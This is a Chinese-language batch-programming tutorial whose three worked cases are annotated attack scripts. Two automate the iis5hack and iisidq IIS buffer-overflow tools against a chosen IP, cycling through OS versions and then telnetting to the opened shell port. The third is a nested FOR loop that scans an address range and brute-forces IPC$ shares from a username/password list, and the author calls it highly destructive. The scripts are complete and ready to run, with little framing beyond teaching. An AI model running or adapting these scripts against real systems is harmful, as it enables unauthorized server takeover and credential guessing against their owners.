批處理編程(4)完整案例
?
?
現(xiàn)在我們把之前這些用法結(jié)合起來詳細的分析一下目前網(wǎng)上發(fā)布的一些批處理,看看他們是怎么運作的。這里我將列舉三個例子來詳細分析,為了保持程序的完整我的注釋會加在/*后面。
?
?
案例1
?
這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程序有iis5hack.exe和系統(tǒng)自帶的telnet.exe。iis5hack的命令格式為:
iis5hack <目標ip> <目標端口> <目標版本> <溢出連接端口>
?
?目標版本為0-9這10個數(shù)字分別對應(yīng)不同語言版本和sp的系統(tǒng)版本,我們編制的批處理使用的命令格式為 <iis.bat 目標ip (開始版本號)>開始版本號可有可無。程序如下:
?
@echo off /*關(guān)閉命令回顯
if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip
if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉(zhuǎn)標志1
if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設(shè)置則
if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執(zhí)行
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*沒有發(fā)現(xiàn)iis5hack.exe就執(zhí)行標志file段內(nèi)容
ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結(jié)果中發(fā)現(xiàn)Received = 1
if errorlevel 1 goto error /*如果返回代碼為1則執(zhí)行error段(代碼1為沒有發(fā)現(xiàn) 0為發(fā)現(xiàn)并成功執(zhí)行)
iis5hack %1 80 9 88 | find "good" /*開始溢出目標端口80 系統(tǒng)代碼9 溢出后連接端口88 在執(zhí)行結(jié)果中發(fā)現(xiàn)字符串”good”(溢出成功后才會有字符串good)
if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1(溢出成功)就執(zhí)行telnet段的內(nèi)容。
echo 操作系統(tǒng)類型 9 失敗! /*否則顯示這一句
:8 /*以下代碼內(nèi)容參照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 8 失敗!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 7 失敗!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 6 失敗!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 5 失敗!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 4 失敗!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 3 失敗!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 2 失敗!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 1 失敗!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 0 失敗!
goto error
:telnet
telnet %1 88 /*開始連接目標ip的88端口
goto exit /*連接中斷后跳轉(zhuǎn)exit段
:error /*error段顯示錯誤后的幫助信息
echo 可能網(wǎng)絡(luò)不能連接或者對方以修補該漏洞!請按照下面的格式手工嘗試一次!
echo iis5hack [目標IP] [WEB端口] [系統(tǒng)類型] [開放端口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日語: 4
ECHO 日語+sp1: 5
ECHO 韓文: 6
ECHO 韓文+sp1: 7
ECHO 墨西哥語: 8
ECHO 墨西哥語+sp1: 9
goto exit /*跳轉(zhuǎn)exit段
:file /*file段顯示文件沒有發(fā)現(xiàn)的信息
echo 文件iis5hack.exe沒有發(fā)現(xiàn)!程序終止運行!
goto exit /*跳轉(zhuǎn)exit段
:help /*help段顯示本批處理的使用格式幫助
echo 本程序用法如下:
echo iis [目標ip]
echo iis [目標ip] [開始的號碼9-0]
:exit /*exit段為程序出口
?
這個批處理基本沒有什么循環(huán)只是一路走下來。所以代碼比較長難度不大!
?
?
案例2
?
這個例子是用iisidq.exe對有idq漏洞的機器進行溢出的批處理。使用的程序有iisidq.exe和系統(tǒng)自帶的程序telnet.exe。iisidq.exe的用法如下:
?
運行參數(shù): 操作系統(tǒng)類型 目的地址 web端口 1 溢出監(jiān)聽端口 <輸入命令1>
其中,如果輸入命令參數(shù)沒有輸入,那么,默認為:"cmd.exe"。
其中操作系統(tǒng)類型類型的代碼范圍是0-14。我們編制的批處理使用的命令格式為 <idq.bat 目標ip>程序如下:
?
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*創(chuàng)建一個環(huán)境變量b,將變量%1的內(nèi)容傳遞給環(huán)境變量b。變量b的內(nèi)容以后將是目標i
set a=0 /*創(chuàng)建一個環(huán)境變量a并指定環(huán)境變量a為0。由于使用整個批處理的循環(huán)所以用a來做計數(shù)器。
:no /*no段開始
if %a%==0 set d=0 /*如果環(huán)境變量a=0則創(chuàng)建環(huán)境變量d設(shè)定環(huán)境變量d=0。
if %a%==1 set d=1 /*環(huán)境變量d其實是操作系統(tǒng)類型代碼,用計數(shù)器來控制其
if %a%==2 set d=2 /*變動。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*變量傳遞完成后轉(zhuǎn)到標志0處運行
:1
echo 正在執(zhí)行第%d%項!與目標%b%不能連接!正在嘗試連接請等候......
:0 /*標志0開始
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式發(fā)送溢出命令并在結(jié)果中發(fā)現(xiàn)字符串good(發(fā)送代碼成功才會有字符串good)
if errorlevel 1 goto 1 /*如果沒有g(shù)ood字符串則沒有發(fā)送成跳
/*轉(zhuǎn)標志1處繼續(xù)嘗試發(fā)送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相當于延時8秒不顯示執(zhí)
/*行結(jié)果
echo 正在執(zhí)行第%d%項! /*報告正在溢出的操作系統(tǒng)類型
telnet %b% 99 /*連接溢出端口
echo. /*顯示一個空行
if %d%==14 goto error1 /*如果操作系統(tǒng)類型為14則跳轉(zhuǎn)error1處(循環(huán)出口)
if %d%==13 set a=11 /*開始用計數(shù)器對操作系統(tǒng)代碼重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成跳轉(zhuǎn)no段執(zhí)行
:file /*以下都是出錯后的幫助提示
echo IIsidq.exe沒有發(fā)現(xiàn)!將該文件和本文件放在同一目錄!
goto exit
:error
echo 錯誤!目標ip不可識別!請使用下面的格式連接!
echo idq [目標IP]
goto exit
:error1
echo 連接沒有成功!可能目標機器已經(jīng)修補了該漏洞或者網(wǎng)絡(luò)故障所至!
echo 請按照下面的格式手工嘗試!
echo iisidq [目標類型] [目標IP] [目標端口] [連接方式] [溢出端口]
echo telnet [目標ip] [溢出端口]
:exit /*整個程序的出口
?
這個批處理采用的整體循環(huán)掌握好計數(shù)器部分就掌握了這個批處理。
?
?
案例3
?
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use file://%251.%25%25a.%25%25b.%25%25c/ipc$ %%e /u:%%f
?
上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:\>TEST.BAT 218 當輸入218回車后該命令會由第1個for取初始值0為%%a然后繼續(xù)取第2個for的初始值0為%%b繼續(xù)取第3個for的初始值1為%%c最后一個 for是將userpass.txt中的第一段字符作為密碼%%e第二段字符作為用戶名%%f最后執(zhí)行命令 (這里我把上面的值都帶進去,設(shè)密碼為123 用戶名為 abc)
?
net usr \\218.0.0.1\ipc$ 123 /u:abc
?
當然上面這個例子可能有些朋友會說太簡單并且太死板不靈活。我把這個例子做了些修改(完整文件見光盤ipc.bat)由興趣的朋友可以自己看看。修改后的程序可以靈活的查找你指定開始到結(jié)束或你指定開始到最大ip的范圍。當然功能還可以在加強,至于能加強到什么地步能不能成為一個新的工具那就是你的事了。
?
這個的循環(huán)動作大了點主要是ip的數(shù)字替換麻煩所以沒辦法。這個批處理我就不寫注釋了,大家好好的參考上面的內(nèi)容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測并保存弱口令的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試通過最大的優(yōu)點就是只有一個批處理文件并且絕對不會誤報。缺點就是太長
?
?